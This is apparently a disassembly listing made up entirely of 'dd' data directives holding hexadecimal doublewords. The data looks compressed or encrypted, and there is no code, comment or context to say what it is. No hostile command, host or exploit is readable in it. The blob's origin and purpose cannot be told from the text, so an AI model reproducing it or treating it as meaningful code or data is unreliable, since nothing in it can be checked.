		dd 19CB0032h, 85D818D1h, 0D00E2708h, 0E0996670h, 5C91547h
		dd 0CFC0065h, 28C510B1h, 0F1012046h, 2D082527h,	33F01F42h
		dd 3AC40319h, 1E897212h, 77B2C8D8h, 0BAC70400h,	0A7A4F8E2h
		dd 4013023Eh, 0D715508h, 0F01158C0h, 588DC400h,	57D262A2h
		dd 0D40950E3h, 68E80Eh,	0A7CF9510h, 4386CEE8h, 0DA23D41Eh
		dd 30A1E1C2h, 228055D1h, 161EA89Ah, 6AEC6902h, 80A067FBh
		dd 3BE21DF7h, 4BC00049h, 0E4D63784h, 5D3D0747h,	0F80F1F0Ch
		dd 2F77BC3h, 226C07B9h,	60B8D1EEh, 1E7592A0h, 0DC98AB00h
		dd 995C15E8h, 141F0079h, 64E36FFh, 0D600A7C3h, 0AB5E558Fh
		dd 3276BB4h, 49CF35A1h,	93D87841h, 2D008519h, 0E2C5A51Fh
		dd 7A89F034h, 77C0000Bh, 7464118Fh, 0DA1F9435h,	0C9E4D961h
		dd 0A0EE200Fh, 21AFE0A8h, 0AEE2098Dh, 0F3891026h, 1ABA7800h
		dd 137DC188h, 0BD90D2F6h, 509B4F07h, 605169FEh,	53304634h
		dd 312E0040h, 90922DF3h, 0D04ABF80h, 3F1383FCh,	805A1E0Fh
		dd 5742FF9h, 5C000A0Bh,	0FB870275h, 0E03AD542h,	85EC00DEh
		dd 40374F6h, 100468Dh, 0B2EEC35Eh, 0E6AAD2CCh, 587A0716h
		dd 0D0B07023h, 125113E8h, 342EB91Dh, 3F378900h,	77DCFDh
		dd 0F5681A9Fh, 0F865779h, 0E5DA8500h, 4B34F769h, 0DA226173h
		dd 0FAD51798h, 1E3BC940h, 52247500h, 51F05792h,	0C133004Ah
		dd 1F5DFAE2h, 3C007B86h, 783B7C41h, 0D15C03h, 1304F81Ch
		dd 869645EEh, 5B5F8500h, 904A225Ah, 0A4680023h,	33D37B61h
		dd 6A0F52D2h, 20197AA9h, 0E075B34Eh, 0C2BC1668h, 0EC58002Fh
		dd 50DB93A2h, 59128F07h, 0FC20F43Ah, 1295A4FAh,	13A669h
		dd 0EBC72363h, 814C245h, 0F68624h, 476BD59Dh, 2B450BBh
		dd 6535B9F8h, 0E0F51381h, 0E03BAD5h, 0B5EEF2ABh, 83808D4Fh
		dd 52454B02h, 4C984E00h, 2E3A3233h, 0D3F60344h,	3C8ABA1Ch
		dd 65685480h, 726F2002h, 7D690F64h, 0A21037E0h,	0A02F320Fh
		dd 3F75CF63h, 12B9ECDFh, 0B100F474h, 615BB044h,	6FDF00F3h
		dd 0F7DD4E1Eh, 79079663h, 6C6D7C5Eh, 6B202E70h,	620B07C7h
		dd 0F74CEE72h, 4F1B307Dh, 0CE714441h, 0E7E90607h, 1AF062B5h
		dd 706498h, 8286D972h, 147CDB75h, 746E330Fh, 78FEA05Dh
		dd 6989F1h, 0D232AB8h, 508B01C3h, 51062005h, 0A2C05240h
		dd 7550254h, 570F5604h,	0F36A70E7h, 0AA076805h,	9B114303h
		dd 2474A1F0h, 300707E1h, 10FB3501h, 2320A12h, 0FB51300h
		dd 0A1CC067Ch, 45892C25h, 9B2200A4h, 0A924834Ah, 0C2D22B00h
		dd 0C50C5E57h, 33A005F0h, 8318B6B8h, 0F9E8697Eh, 78E4BA42h
		dd 0B02C7C00h, 49144F17h, 0A9C61C5Bh, 0B6E100F2h, 0FD438D33h
		dd 380C9D00h, 0CEAC5399h, 0E8C507C8h, 10FC8F2Fh, 93184540h
		dd 2CD54D00h, 634E0869h, 1290A001h, 31EF0003h, 0BB8F9F7Ah
		dd 807DDE43h, 75772601h, 0A3B19BEh, 0C48D0h, 748B33ABh
		dd 8262B46h, 16C10401h,	0D8D96306h, 37C9FF8h, 0C3D2D7F1h
		dd 0EBE992CCh, 6C047003h, 0B84F4A01h, 17AFB121h, 0B083ECh
		dd 0A21B8825h, 9197E64h, 555CDAFCh, 0F42B2659h,	11F00305h
		dd 5789EEC0h, 871A1E29h
		dd 7A34C168h, 70076A13h, 53CC069h, 4BC38028h, 0E6958DC7h
		dd 4474D0h, 0DC971416h,	0E9FD4923h, 6F1CDC98h, 4840C645h
		dd 18D7C0EEh, 6985008Dh, 2B762DFFh, 1002338h, 2486EB3h
		dd 87A1F6h, 44840F5Ah, 7F74F822h, 0E798501Eh, 5E8AC700h
		dd 0DAEC06h, 5D694633h,	49CB8BB1h, 0D82B3700h, 0A166AA7h
		dd 875203B9h, 24D3E588h, 9EC2ECC8h, 0BB5D400h, 4280562Ch
		dd 0CB3703E8h, 4473AA92h, 89172ED0h, 7E0B3C00h,	0CA68B83h
		dd 40A00DBh, 53377529h,	1D00C99Eh, 0C451AB4Dh, 0EA025648h
		dd 0FF55008Ah, 40B854BEh, 36008B28h, 5D1D523Eh,	154B9Eh
		dd 291C864h, 0F143BB8h,	2965D201h, 106A1D19h, 89F409E1h
		dd 338A0380h, 783040Bh,	0D839AF98h, 5C702A00h, 0BA16CAE8h
		dd 9E2302EFh, 2B9D7826h, 60A30EC1h, 1F00A9CBh, 3818B062h
		dd 0F487D6FFh, 54A0013Eh, 0A26EED12h, 0AA42E0DDh, 0D91A9C00h
		dd 0EA77E9C7h, 0C5E000EBh, 0B6852806h, 0DAE65022h, 48004474h
		dd 59A2CB88h, 0EE5C05E7h, 1B743E62h, 0BB9BB380h, 55199925h
		dd 0B5FDA00h, 21E66EEFh, 0B8295E38h, 3B950060h,	0BA61643Fh
		dd 4E5D0089h, 5C448832h, 70071045h, 30AEE480h, 58BA05C0h
		dd 0D4560006h, 19658555h, 0F4009838h, 8EAD5F8Ah, 0B66F12h
		dd 0E60DCACEh, 0C6F669B4h, 0D0608B0Fh, 9DAD279Eh, 894A0700h
		dd 4F0300C7h, 83D4D73Dh, 0D800F87Dh, 13C931F3h,	3AFE8749h
		dd 0C0F10A5h, 3E080ACh,	0A17DD74h, 8075063Fh, 4C4F51Eh
		dd 87EFEBh, 0C78D25B2h,	2246CE7h, 6742C00h, 410E049Fh
		dd 0F2EA1FEBh, 0CE0100F8h, 87156BE8h, 0FF5B8D16h, 9C7200FBh
		dd 70D29118h, 0C41B2800h, 75212D6Fh, 7B081D27h,	82118743h
		dd 0D8D1D01Ah, 42001038h, 70BFA0A2h, 0F5D2F8Ch,	208AD5E4h
		dd 7CA309E0h, 0EB004D22h, 5A82543Ch, 1FD06EC3h,	0B5C6E8h
		dd 675CCDE5h, 84383518h, 475963Bh, 680C0500h, 658A48h
		dd 45E0C34Bh, 6E99A2C8h, 155FD200h, 60043E47h, 53242E68h
		dd 0B8F407DDh, 0ECFD50C2h, 61004910h, 0CBC35837h, 0F1CE55Eh
		dd 72653344h, 403235C7h, 0E868073Ch, 7D5BB60Fh,	2BB80054h
		dd 114127Ah, 8AAB0122h,	0CCF8A49Ch, 0BD0065B5h,	908C79ECh
		dd 668915h, 6521911h, 54532CFAh, 326B0D01h, 451BE83h, 0F8D570h
		dd 0D5FBA455h, 0B42617AAh, 0D3409F1Fh, 2B0098A8h, 46C5CA4Eh
		dd 919E4AFh, 1D6975Fh, 9DB1B880h, 0AE003431h, 0F4074D3Fh
		dd 7E72E9EAh, 0EEEAFAh,	0E82DAB7Ch, 973876F2h, 80AAFE07h
		dd 12A7C1C2h, 1E08457h,	23723Fh, 8E4448EFh, 828C8703h
		dd 0F6E28100h, 0D3C29E28h, 49FA16C7h, 9BCB001Eh, 5F3A2A4Ch
		dd 6B007FF4h, 4F56EC8h,	3F8A996h, 3CCAD3E1h, 20D23422h
		dd 7369F0C0h, 674AB400h, 6D7D61E6h, 2B8F9h, 54656218h
		dd 0D44B116Eh, 9FB12B01h, 75F479FDh, 67F1A8EFh,	1C4C00B7h
		dd 0DE76217Ch, 0EB00A50Ch, 0DC669B42h, 71FF7BAh, 325E977Dh
		dd 63F320CFh, 791C5386h, 0C6526D65h, 54491500h,	0EA277Eh
		dd 0F24F764Eh, 7843F44Ch, 0CDF74503h, 9346F544h, 0DFB7B852h
		dd 0DD54004Eh, 0BE55420Eh, 21F2953Eh, 8C532800h, 3A656D1Dh
		dd 67610099h, 6CF17796h, 2C1771C6h, 110EB83Eh, 0E5E280DBh
		dd 73A728h, 611F9FAFh, 1456FAE3h, 524E4003h, 0D0DD4745h
		dd 0F8FDE67Bh, 0DCF5630Ch, 0E8802C65h, 587871A8h, 0FF260600h
		dd 0C842C025h, 8C5E161Eh, 167003Fh, 500B2B10h, 0BCEDEB01h
		dd 4B1EE70h, 7E6856D8h,	32223CCBh, 0E8030073h, 28EC311Ah
		dd 553C46E4h, 5F92803Dh, 0E16112EBh, 720B04Bh, 0A7F8B673h
		dd 0D26C6096h, 0AC004377h, 90168A4Ah, 7DA1C528h, 45411850h
		dd 1C404E5Eh, 78FC8100h, 4CE7E536h, 189A0064h, 871E3FEh
		dd 41002C88h, 591C215Bh, 5B862h, 0C8A265C6h, 5E717E55h
		dd 28485C00h, 41107516h, 0A7660183h, 3661E406h,	0E589F452h
		dd 7CBF5F00h, 0B1E6F8BDh, 858200A2h, 9AEC371Bh,	40BC11Fh
		dd 7159CF0h, 1DE0E994h,	3D019BFAh, 0FEA85Fh, 0AA443D83h
		dd 14BD60C1h, 4286A00h,	8D510AB9h, 666800F0h, 547AD7D2h
		dd 1771FFC4h, 0DC432503h, 9935C740h, 0F5F00F18h, 0B3CE001Dh
		dd 2CB9DDB5h, 920758CCh, 0C3D8E7Ch, 0FF748199h,	6F8E9E3h
		dd 8DDF00F8h, 43443883h, 3216309Ch, 0F603F01Ah,	0D914515Fh
		dd 65D05CB8h, 2F0A00BAh, 53FCD75Ah, 0F0EC1B4Bh,	6071BB1Dh
		dd 3A09FE01h, 6A6013BCh, 3691000Bh, 50313208h, 541E5FE8h
		dd 59C0DE01h, 6517F91Dh, 0F56F002Dh, 84326410h,	21012C6Ah
		dd 770C2670h, 0C6F41F47h, 5E100DDh, 0B4800AA7h,	6100E975h
		dd 9EEDEE4h, 16361DE0h,	51030Ch, 4488934h, 805062Fh, 558FB977h
		dd 59240DC0h, 99763F1Ch, 0CE800F7h, 36F716A9h, 39007268h
		dd 50341003h, 0BF0B27Eh, 23DD9A4Eh, 2946C980h, 12002B58h
		dd 256ACBC6h, 0FC8FA920h, 73BF00EEh, 24A31376h,	6F00B00Bh
		dd 5508A2A1h, 4C33DE90h, 1C1F3CFFh, 0B844C056h,	5F4C2710h
		dd 0B4A39600h, 25AEB606h, 0F2B971F8h, 6EC60032h, 218DD374h
		dd 4B01C42Ch, 7B84F427h, 852064E1h, 95891EF8h, 682AC028h
		dd 541C2B26h, 0DB61602Eh, 12AAD200h, 0B89A9C39h, 0B4D00005h
		dd 1819A021h, 0FF007068h, 0F58547C4h, 50C192h, 0FDA71FC5h
		dd 4FA90B13h, 0BE0424EEh, 0F12F4623h, 28088FC0h, 752E0042h
		dd 47350CEFh, 84001021h, 0A8C3E1DFh, 72820Ah, 0FDFCE977h
		dd 15F5B924h, 84B25700h, 208C0D8Bh, 89000D3h, 656A4F3h
		dd 37B456Fh, 0D7B44813h, 21D67000h, 3E291DCh, 3842E19Eh
		dd 77D01CE0h, 0B8B850A9h, 0A1D18F00h, 42AA049h,	407400D0h
		dd 65088A82h, 2B00640Bh, 0A5508E93h, 0E9498Dh, 0B9DC4895h
		dd 0FCE27EF3h, 4A16D41Fh, 322A5781h, 0EE4C652h,	20EF0062h
		dd 3730C322h, 354CC288h, 102F005Fh, 238629CEh, 227DD5h
		dd 6370E124h, 124085AAh, 0CFE97900h, 2CBAE75Ah,	0B23900BEh
		dd 0B79FACDAh, 0EDFA121Eh, 0A429BF00h, 0AFBC132Fh, 0D5202ED9h
		dd 0E00A0046h, 0CF74324Ah, 87ECA63Dh, 692F211Dh, 5CB60DE0h
		dd 1CD40071h, 0C4958EFCh, 7600B54Ch, 0F405424Eh, 2C7D4BC8h
		dd 3EEA50Fh, 0A12811A3h, 8B5025E8h, 0CCB2FD00h,	19BD5CDEh
		dd 14F43F9Bh, 6380D8BFh, 0CAB8017Eh, 0F8008B27h, 6A0C3CFBh
		dd 4382610h, 1672FD82h,	74C18391h, 24BFCD8h, 33154D0Bh
		dd 948B80C9h, 98772B18h, 0EB2A1F2Ch, 0DC108013h, 8AF44054h
		dd 0E9000979h, 52CCC7BFh, 54B1D57h, 39B35063h, 8C7D8048h
		dd 0D400BFA8h, 0C1E39F11h, 75AD55B0h, 121A0056h, 4A021C8Ah
		dd 0F2005A15h, 81AE525Eh, 39305C88h, 238F4EFFh,	1170585h
		dd 14313EF9h, 0B01AF81Ch, 0EAC1D000h, 7FD74586h, 0CA4707E6h
		dd 80A589E7h, 0BF08A1A4h, 0EA007875h, 0B36C9E9Dh, 0F8B73CEDh
		dd 0EFAB1762h, 4833020Eh, 1460D123h, 0C4721B33h, 80213838h
		dd 43270832h, 7D2E112Ch, 0E37D3F25h, 0AC42BC00h, 697B6BA0h
		dd 0A9B82D00h, 0BF981E86h, 508807EAh, 53260529h, 94C12084h
		dd 2D30EC1Ah, 2FC38100h, 584C54CBh, 0BCC80023h,	0C1F4244Eh
		dd 3C005C3Eh, 0A1C3652Dh, 12560Ch, 0AB34BA16h, 82D7F699h
		dd 0B8A42402h, 40217AD4h, 0C8D9AFh, 28E6C4DFh, 84E44335h
		dd 2AAD7404h, 0FCC0230Dh, 3DEC45FEh, 108097F5h,	0C6EA3AD5h
		dd 8D010F96h, 2B5AC84Dh, 79E4FA83h, 0EA1FE55h, 37EE4F98h
		dd 218E0E3Eh, 7346245h,	8039618Ch, 6D083367h, 112D4303h
		dd 0D8DD2674h, 0AE28EFh, 7CB11654h, 665779B3h, 0A1844900h
		dd 9EE6FFECh, 53F80011h, 67043699h, 4900D75Bh, 0F3563773h
		dd 752C1594h, 33550048h, 6D815EF6h, 6E00A828h, 0A90DFE14h
		dd 490915h, 4E7AA510h, 3420C573h, 4D7C5500h, 24EF9639h
		dd 0B964008Fh, 0D629CB32h, 1271A80Eh, 823C8300h, 0C5226B8h
		dd 0B7CA1C5Eh, 5B7F4F48h, 0FC25B180h, 0AB06DB75h, 0FE78D336h
		dd 3D17001Eh, 8A4CA9D2h, 0A7001850h, 0D0FFF8E0h, 4022A6h
		dd 68761E30h, 1A4C1241h, 9C0082F0h, 292C570Fh, 0EE5C2820h
		dd 0B0524B81h, 8F859F0h, 34A5B000h, 7C2230C4h, 0A35D269Eh
		dd 6C25019Bh, 0D84F0FE8h, 8800D713h, 0ABA994DBh, 0F5DFB9h
		dd 1D8BEC71h, 9B671047h, 3024F1A1h, 1F01AA67h, 0BA6B335Fh
		dd 89E8A1F0h, 0B5041FB0h, 1A4A833Bh, 258B2992h,	0E8185788h
		dd 93C81500h, 2B0AE955h, 899C001Fh, 0C56F7129h,	72EA0480h
		dd 275C1500h, 2225D4D3h, 0B95700F4h, 5ADC5624h,	30B0DB0Ah
		dd 164B2948h, 5E00FF1Bh, 0BA7CA462h, 0AC910349h, 0EB140A10h
		dd 3B880C98h, 7033BD03h, 0F1B250B1h, 0ABE88B47h, 2AB603C8h
		dd 97E8115Eh, 276A13C0h, 3EDC4400h, 3D106F37h, 4384003Ch
		dd 30492136h, 473E500Ch, 0E79F8229h, 0C0B0DEE1h, 0B7F8D47h
		dd 808391A2h, 6E20BA0Fh, 0F4102B25h, 8537FE02h,	0C0AE4330h
		dd 0C2FC0h, 504D186Dh, 35C46168h, 213BE90Fh, 0ABED27A6h
		dd 0C2261420h, 0DD5607D2h, 300DA10Ah, 0B2284989h, 2D42E700h
		dd 0CDB624AFh, 767800FCh, 0C50D32BDh, 45E41975h, 287709EEh
		dd 0EB7E1800h, 0E9269B1Eh, 104F009Fh, 39132904h, 283C0693h
		dd 0A58507CAh, 4CB09561h, 1FAC1C15h, 9624421Eh,	80FE0308h
		dd 0D8A13B02h, 0ACF770B7h, 0B6F4831Ch, 0AAE1780h, 371656h
		dd 0E9140820h, 52FE2B10h, 4967803h, 0C8544846h,	0F002F969h
		dd 6555093Ch, 9180C7CFh, 1F2360C4h, 59758400h, 7370620Fh
		dd 14320B50h, 228E7412h, 40C617E0h, 0C20E901Dh,	4296A26h
		dd 45C33944h, 0C838D83Eh, 2BC43E32h, 0B2BCE2B0h, 8C0781B1h
		dd 8255AF70h, 206E36h, 28978B99h, 2D7BDD10h, 801AA100h
		dd 0BC2E31EDh, 29B0BDh,	9024A40Fh, 290A530Ch, 440023B8h
		dd 2E518B10h, 1FAB3914h, 8F12151Fh, 827E0EC8h, 618200Bh
		dd 45C73C60h, 0E4F63Fh,	0F264F40Dh, 303115h, 1DD84EDDh
		dd 17A966Ch, 9EE0DF18h,	21350E4h, 0C11870FFh, 8F601406h
		dd 0E90B2FF2h, 7CF6045Bh, 0B01B0047h, 0B501232h, 0F211F400h
		dd 80186258h, 4E9C0EE8h, 3A00D22Ah, 0C83F103Dh,	33643900h
		dd 43142C62h, 0B4F2EAh,	0A2822456h, 0B9A4C917h,	228E0B00h
		dd 716F2026h, 1E1C7533h, 80CBA687h, 0D4A0FC8Fh,	0EF01BACEh
		dd 0C4D35C39h, 0B040B21Ch, 1135806h, 0D2458917h, 0F8558B4Ah
		dd 0D6004076h, 0C438A760h, 7ADC08EAh, 0BCE607D4h, 90DA448Dh
		dd 137E5C0Ch, 2C359B12h, 9400AC1Ch, 0A9EFE8CEh,	8A6A01E1h
		dd 19247DA4h, 0ED88D02Ch, 21DE3B00h, 0F20840ECh, 0F842023Ah
		dd 2DFF1834h, 0F84E14C1h, 0B5128DC2h, 0DA1F0515h, 3E7AA7C0h
		dd 0F96063h, 3BE8C845h,	5A365CB5h, 3CB85D03h, 0C84F8AC1h
		dd 33E3D99h, 3432070h, 22E075A1h, 0E8E32350h, 8F00C519h
		dd 8381AF41h, 3E04C4h, 9DE52927h, 32F80E34h, 0A9527C00h
		dd 0F11969C9h, 0B7BF003Bh, 24501FB9h, 400C5B0h,	8B45109Fh
		dd 0ECDAA8C0h, 0EBB80381h, 0F0FF0369h, 20B2709Fh, 3D00307Dh
		dd 5C378C8Bh, 1F947723h, 0F5876h, 0C355251h, 0D20FF3E8h
		dd 0E0F0BE33h, 0FFC80A83h, 0EB9881h, 604FC319h,	92158D13h
		dd 2351500Ch, 0ADA410h,	0B80A38A9h, 0F433F14Bh,	13060538h
		dd 94010807h, 1814100Eh, 280340C2h, 40380030h, 70076050h
		dd 0C007A080h, 64010AE0h, 91024820h, 4220303h, 18490545h
		dd 100D14A0h, 39780658h, 67093A84h, 0C870B72h, 0E1FFFAFh
		dd 10800F9Fh, 0E40111A9h, 51700212h, 564BD18Bh,	57803043h
		dd 4004A39h, 2F533572h,	387AF8BEh, 8A8B029Ah, 0D3814018h
		dd 0C8E0AD89h, 0B70E0842h, 5E27C18Fh, 0EB7152h,	0B4F97DBh
		dd 2A0001AAh, 89FE0304h, 752FBDh, 0C13B14C0h, 0F45BD273h
		dd 48F17200h, 2B011027h, 0E8D30ECEh, 7E046ACh, 7025CF93h
		dd 1C009174h, 89610604h, 95E1E3Eh, 7565C259h, 60088F57h
		dd 0B2938481h, 92FC0091h, 821917A4h, 14008C1Eh,	7B73E5FAh
		dd 10CA812h, 531D9866h,	0D9565528h, 0F736011h, 0AA517800h
		dd 8D94702Eh, 2CBE00CEh, 0ABF3F6C0h, 953DBC8Bh,	3B0980F1h
		dd 2F9BF8EEh, 80760020h, 380C8A68h, 5C0E128Bh, 8318288Ch
		dd 80404308h, 89C53Bh, 0B9EB7219h, 5F61A217h, 666C6300h
		dd 154406F7h, 33680018h, 0C71C0DFFh, 5124C892h,	891F0701h
		dd 6A8D1980h, 142708h, 2C349640h, 3E00AD3h, 0DE81F800h
		dd 71890143h, 0F1400CCh, 6C788E87h, 7D007E30h, 3C5D0EC1h
		dd 2FC303h, 1F60E2F1h, 2481FD40h, 0A46C5Ch, 0C948758Bh
		dd 0EE6DB10h, 90BADA9Ch, 0C5EEC140h, 2570CE1Ah,	0CB2B3E00h
		dd 518AFB03h, 0D3B900D8h, 0F86C12B5h, 0BF00697Fh, 0DD67705Fh
		dd 0E98314h, 0FAAD220Bh, 20FEA4CAh, 0BAFDAE00h,	0EACFDF7Bh
		dd 4AA20084h, 4023835Dh, 0C600AC49h, 935CA6Bh, 0B251F89h
		dd 0F98209Bh, 42923280h, 0FF0096ACh, 0C9017FF6h, 5BC032h
		dd 0D2982630h, 824B221Fh, 715461Fh, 76CE85DFh, 995FA03Bh
		dd 318ADFh, 0B20A7BC8h,	88119422h, 608F5300h, 896884BAh
		dd 8748000Ch, 0E2376D3Bh, 8D1F1898h, 524A4721h,	411FA038h
		dd 0CC72C8C0h, 9B0AD10h, 5F51E201h, 57738980h, 300064Bh
		dd 307208EFh, 8A40DFh, 4D884111h, 0BF7D0554h, 1E0D6B02h
		dd 40E1C113h, 0FA9AE25Ah, 50CA0585h, 80C2B003h,	0EB317BFCh
		dd 0F9179E00h, 27D0730Dh, 4C373838h, 0CA1FA7D8h, 7E854080h
		dd 0FEC1E325h, 225CA601h, 961264A4h, 0C8D49331h, 20070080h
		dd 8A1EDC63h, 8700111Ch, 103BEBD3h, 39732C46h, 2800C30Ah
		dd 9278D21Bh, 3F00F3FFh, 7A73014h, 58FDAF5Fh, 3428B28Ch
		dd 735B892h, 0D123881h,	3C027311h, 8B0F2EC0h, 79C90E00h
		dd 6FFA8430h, 410A0089h, 18B9961Ch, 0C37E7143h,	0E85FE600h
		dd 4977CF9h, 0C1030744h, 51898E8Bh, 0EC93022Ah,	0F5005981h
		dd 330926D9h, 3F40A1D2h, 248068B7h, 8A3C16F9h, 3D002D88h
		dd 48EF1ADFh, 0E3D37Ah,	2FBC0373h, 0E6723A04h, 8D8B881Eh
		dd 66074FD7h, 0E850D168h, 2E6F08h, 1C6A6042h, 0E1A08F8Dh
		dd 0DA0E5D00h, 59883007h, 54024C13h, 87891A00h,	4E406B60h
		dd 0C9F50500h, 0EBB25B0Fh, 1D57FE42h, 796695Eh,	0A08D4307h
		dd 0D3C9FF6Bh, 97BF2000h, 51E1907Ch, 0B5540482h, 8014980Ch
		dd 0B99D50F9h, 1376BDF4h, 2A02421Dh, 584581FEh,	0A960CD20h
		dd 4814D760h, 0AA03A0D0h, 315432E8h, 27C65FE8h,	30C2201h
		dd 29D98B2Ch, 9E208DD9h, 2470B86Ah, 19CD5Ch, 2416712Dh
		dd 0BB00141Dh, 96535536h, 7405AA6Ah, 32043F34h,	0C1608809h
		dd 83010800h, 720013FEh, 47BB8DEDh, 0F36A78h, 65FC5097h
		dd 322E2D17h, 3F0B923Eh, 860D000Fh, 0C46CC359h,	2FA90031h
		dd 101C0312h, 0E7031573h, 8A0752DAh, 0D0BA0514h, 1C0FE280h
		dd 24340383h, 75E0EB46h, 0FF006A28h, 3083594Ch,	3F203C0h
		dd 22814E7Eh, 7D80F5FEh
		dd 4C008A52h, 88482334h, 1D4DB0EBh, 8FEA7F2Ch, 7640366Bh
		dd 36A0AE3h, 80502D3Dh,	0AE07FC0Ch, 0B640Eh, 17711377h
		dd 24A343C6h, 4846810Fh, 0A0ED4F94h, 738C0F82h,	8D0700C9h
		dd 0A0C77E31h, 520F104Bh, 6041ABA7h, 29472484h,	888B0074h
		dd 22A55057h, 11F88CE1h, 51389A72h, 18C0B046h, 83C660h
		dd 66B90264h, 4BC8085h,	0D22B1C00h, 6A20AE75h, 0EBF02872h
		dd 481B0792h, 30517F60h, 0C5D22165h, 6E45BE0Fh,	1088C080h
		dd 410B40h, 14F7754Eh, 0E847A843h, 0DC0045B8h, 0C25E900Fh
		dd 42F4EEh, 830B6C5Ch, 8B5DABECh, 0CCA9081Dh, 0B7C15940h
		dd 57E21Ah, 2C6BDC33h, 82672E65h, 860F1000h, 4E528743h
		dd 68190E99h, 1307293Dh, 0DB0D2073h, 0D100D688h, 0E2A76141h
		dd 1CE92381h, 80983550h, 830F4FD0h, 4100FB67h, 9D480905h
		dd 7702D8E8h, 0EDC11313h, 2EE50003h, 0A007A384h, 9D140603h
		dd 0E842A75Eh, 0F7AC668Eh, 3B4E4760h, 0C11E084Ah, 0E94C0298h
		dd 0A2C09B59h, 4022032h, 5A5CCC66h, 0CD2406Ch, 15AC00E7h
		dd 0EE56D1CDh, 8BF44E10h, 47B8DF00h, 8C7EA7CEh,	1B3F42Ch
		dd 5CF17CDh, 0ECEAD3D6h, 0D77E8967h, 6DE41A03h,	0E04ADA52h
		dd 1F887A06h, 0EFA8C530h, 0CA004874h, 11893177h, 2286008Ah
		dd 9C8B042Dh, 520168AEh, 952CD8A8h, 9FC3496Ch, 7674FAD0h
		dd 0FF830707h, 0F0717203h, 6F458146h, 5A22FD00h, 4163133h
		dd 0C1C50117h, 136612E2h, 852CD06Bh, 0B4012F7Eh, 312505B5h
		dd 75D6BD73h, 0C70BE360h, 575D5300h, 82C69345h,	73350338h
		dd 961579CFh, 3C8C0D0h,	0EFD3C500h, 0CD46408Ch,	79CDB821h
		dd 1DC8B892h, 3F720130h, 0F81CF600h, 835BEB14h,	6C52B200h
		dd 0F51620A2h, 139E751Ah, 0FE504647h, 345AC400h, 0B34D81h
		dd 0D8B21D94h, 850CDC80h, 503FB00h, 8C8B1A73h, 0B589009Eh
		dd 302E2868h, 0BF012CE5h, 11529465h, 86E0B9B8h,	154A00C8h
		dd 0FDBB8349h, 5800FA89h, 31F61E8Fh, 1C508EDDh,	89960608h
		dd 0C10F1407h, 0BD00BB96h, 7E739770h, 2CD0E010h, 0B6D12Bh
		dd 90508812h, 0A600FDE2h, 912E7B24h, 0C70342h, 43F5135Ah
		dd 0CEF20BC9h, 94FCC600h, 3B1C0CE3h, 728016Eh, 0FDC3820Fh
		dd 2C47E8FFh, 38892614h, 0C40F72BAh, 60187514h,	0F519DA28h
		dd 709FF294h, 458800D6h, 6D785841h, 63EE1F8Dh, 220EE260h
		dd 571173h, 0DD2FF67Ah,	9BA9A41Dh, 0F3B5EE00h, 29A88A7Eh
		dd 644C01F1h, 85F86888h, 3CAED465h, 433E307Dh, 0D08C1D46h
		dd 4576FEFAh, 5B763871h, 9132AB01h, 0DD23B262h,	90259887h
		dd 60F01050h, 941F09C4h, 706F084Dh, 78ECEA7Bh, 54D40751h
		dd 0B710A411h, 8AD0308Ch, 9CF4CC33h, 64097000h,	48D218Eh
		dd 0C8F1EB0h, 40248380h, 9399F494h, 48C0DA18h, 77006106h
		dd 10AD9C01h, 96C62h, 0A004AED0h, 8B7EC44h, 2888BC00h
		dd 0B8F80DB9h, 119900D9h, 12C80930h, 0DC002280h, 44AC04BAh
		dd 3C08BD84h, 59139C54h, 40AF41h, 885C118Ch, 0EC0CFC09h
		dd 43BD24h, 0E40E0D0h, 705CB07Eh, 1218014Ah, 487824A8h
		dd 10F591F9h, 0F4DC15E9h, 5801F60Bh, 0B201D794h, 9C24CC09h
		dd 0B1BE2046h, 0ED12F928h, 4027B0F8h, 3D93D445h, 3423CC00h
		dd 0B5497446h, 803C1938h, 90D511A7h, 64B814h, 13E817C5h
		dd 7765F75Dh, 0AA66C201h, 0CCD501F8h, 54019DC2h, 131C3200h
		dd 8D0EC08Bh, 1150040h,	181F4C86h, 2000D431h, 3244808h
		dd 0E038E632h, 6E750052h, 656D6974h, 7217E420h,	48036FE2h
		dd 0F0610183h, 3B30EAh,	45514086h, 8011BF18h, 629A7995h
		dd 0E8554241h, 12057DFh, 550DEC01h, 0DC4E980Ah,	4F0164C5h
		dd 9149C0Ch, 3CEC40C4h,	271007D4h, 231FC1F9h, 1EF3911Ch
		dd 1DE20AD8h, 0AB189700h, 5E24F001h, 36C2DADh, 0BA6D7Eh
		dd 3305265Ch, 305374h, 8409227Ch, 89948C44h, 0A4129C00h
		dd 0B448AC24h, 22BC1F91h, 0D4CCCFC4h, 0E4EFDCEFh, 7C0FECE9h
		dd 410FCE0h, 0C072254h,	891C1444h, 61310EFBh, 913C4834h
		dd 0FF4CF9F3h, 64F95CEDh, 74ED6CEDh, 0CD207CEDh, 94893F8Ch
		dd 2259C82h, 0CE4AA872h, 8E0567E0h, 23644700h, 0C56A9165h
		dd 615703B0h, 485808E8h, 0FC8E6099h, 11005914h,	0E2C4C86Ch
		dd 74315A1Ch, 468807D0h, 50E8235Bh, 0D1CF5C9Ch,	7FF4C813h
		dd 0C25DE600h, 3C3156F8h, 0D380230Ch, 0A419782Ah, 300738ADh
		dd 404CD033h, 8E6FF60h,	64110001h, 48200910h, 31079130h
		dd 5AB97012h, 0FF606F7Fh, 2726807Fh, 74F06822h,	0B0CC7EBFh
		dd 0E1081CD2h, 133C400Eh, 9580C41h, 88896804h, 19C59012h
		dd 22C4B940h, 3DE044CCh, 1808A34h, 200F9831h, 88001040h
		dd 11123008h, 98482238h, 89703A56h, 1D399813h, 0C6A80093h
		dd 8A5F1D8h, 0EF00F0F8h, 81A9E888h, 0A8ED12EEh,	291E2E0h
		dd 20E022E1h, 4243AE3Fh, 11438990h, 0EEADDA30h,	301002B6h
		dd 0B91A1624h, 0A5986104h, 5F91601Fh, 60C1544Eh, 0BC4C85B1h
		dd 0D8191ECCh, 882AC150h, 0D00A812Bh, 6C26FC21h, 1403C426h
		dd 8818E04Fh, 9B5254h, 741C1394h, 88B8C848h, 8031C53Fh
		dd 26AC5F60h, 3D80C354h, 4033369h, 0D8E46C21h, 41DF1490h
		dd 32EE71F6h, 74BA1150h, 449C6E00h, 51CC107Ch, 98293ABCh
		dd 493C0EFDh, 34A0C8ECh, 416BE885h, 74654DB0h, 4A80F4B0h
		dd 398F89Bh, 621451C0h,	80E433E9h, 220829D5h, 0B1908102h
		dd 0DD663824h, 0C47C34C0h, 10798272h, 0D471CC1Eh, 20A06B80h
		dd 74440419h, 32842C91h, 0FCB01830h, 0FC7F6509h, 6C9C2C00h
